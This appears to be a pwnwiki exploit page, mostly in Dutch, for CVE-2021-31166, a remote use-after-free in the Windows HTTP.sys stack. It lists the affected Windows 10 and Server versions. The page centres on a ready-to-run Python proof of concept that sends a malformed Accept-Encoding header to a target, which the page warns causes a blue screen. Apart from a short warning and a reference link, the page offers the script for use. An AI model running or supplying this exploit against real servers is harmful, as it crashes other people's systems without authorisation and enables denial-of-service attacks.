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CVE-2021-31166 HTTP协议栈远程代码执行漏洞/nl

pwnwiki.com

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Impact op kwetsbaarheid

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems

POC

⚠️️ Er verschijnt een blauw scherm wanneer de POC wordt uitgevoerd. 

# Axel '0vercl0k' Souchet - May 16 2021
import requests
import argparse

def main():
    parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
    parser.add_argument('--target', required = True)
    args = parser.parse_args()
    r = requests.get(f'http://{args.target}/', headers = {
        'Accept-Encoding': 'doar-e, ftw, imo, ,',
    })
    print(r)

main()

GIF

Windows.gif

Referentie

https://github.com/0vercl0k/CVE-2021-31166

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